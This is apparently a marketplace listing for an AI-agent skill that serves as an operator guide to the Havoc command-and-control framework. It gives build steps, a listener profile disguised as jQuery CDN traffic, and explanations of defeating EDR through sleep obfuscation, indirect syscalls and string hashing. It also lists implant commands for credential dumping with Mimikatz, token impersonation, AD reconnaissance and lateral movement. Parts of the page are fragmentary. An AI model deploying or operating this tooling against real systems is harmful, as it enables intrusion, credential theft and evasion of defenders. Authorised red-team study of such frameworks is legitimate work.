Havoc C2 framework (C5pider/Havoc) — modern Sliver/CS alternative, Demon agent with indirect syscalls, sleep obfuscation (Ekko/Zilean/FOLIAGE), Donut PIC loader integration, profile-driven HTTP comms, MaterialUI web client. Best when you need modern OPSEC without Cobalt Strike cost.
68
82%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Havoc (C5pider) is an open-source, modern C2 framework released 2023. The Demon agent ships with hardened OPSEC defaults (indirect syscalls, sleep obfuscation, no static strings) that make it harder to detect than older OSS frameworks.
# Build from source (Linux)
git clone https://github.com/HavocFramework/Havoc
cd Havoc
make ts-build
make client-build
make server-build
# Or run via Docker
docker compose up -d┌────────────┐ ┌─────────────┐ ┌──────────┐
│ Operator │ <───> │ Teamserver │ <───> │ Demon │
│ (Client) │ TS │ (Go + gRPC) │ HTTP │ (Implant)│
└────────────┘ └─────────────┘ └──────────┘Havoc uses a profiles.yaotl HCL-like config. Example for a low-OPSEC HTTP listener:
Teamserver {
Host = "0.0.0.0"
Port = 40056
Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "op-alice" { Password = "strongpassword" }
}
Listeners {
Http {
Name = "primary-http"
Hosts = ["op-server.com"]
HostBind = "0.0.0.0"
PortBind = 443
PortConn = 443
Secure = true
HostRotation = "round-robin"
Uris = ["/jquery-3.3.1.min.js", "/jquery-3.3.2.min.js"] # blend with CDN traffic
Headers = ["X-Forwarded-For: 1.2.3.4"]
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}
}Then ./havoc server --profile profiles.yaotl -v.
In the client UI:
# CLI build (haven't found stable CLI build API as of 2024; use the Qt client for now)Result: while Demon sleeps, its code in memory is encrypted → memory scanners (Defender, Elastic, MDE) can't sig-match.
Most EDRs hook NtAllocateVirtualMemory etc. in ntdll. Direct-syscall implants (older Cobalt Strike) bypass this but get detected by syscall-from-non-ntdll heuristics.
Havoc's indirect syscalls: resolve the syscall stub address at runtime, jump TO that address (so the syscall appears to come from ntdll), then return.
All strings (Win32 API names, C2 URI paths, command names) are hashed and resolved at runtime via DJB2/FNV1A. strings demon.exe | grep -i shell returns nothing.
Demon module can be hidden by overwriting an existing legitimate module (mscorlib.dll, clr.dll).
> shell whoami /all
> proc list
> proc kill <pid>
> token impersonate <pid>
> dotnet inline-execute <SharpHound.exe> -c All
> mimi !sekurlsa::logonpasswords # built-in Mimikatz wrap
> spawnas <user> <pass> <listener> # spawn new demon as different user
> jump <psexec64|wmi|smb_lateral> <host> # lateral movement| Havoc | Sliver | Mythic | Cobalt Strike | |
|---|---|---|---|---|
| Sleep obfuscation | Built-in (Ekko/Zilean/FOLIAGE) | None — needs BOF | Per-agent | Built-in (Sleep Mask) |
| Indirect syscalls | Yes, opt-in | No (only direct) | Per-agent | Yes (via patches) |
| OPSEC defaults | Strong | Fair | Per-agent | Excellent |
| Modern UI | Yes (Qt MaterialUI) | Web + CLI | Web | Heavy Java |
| Cross-platform implant | Windows only (Demon) | Yes (Sliver) | Per-agent (Poseidon=macOS/Linux) | Yes (Beacon) |
| License | GPL OSS | GPL OSS | BSD OSS | Commercial $ |
When NOT to pick:
e34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.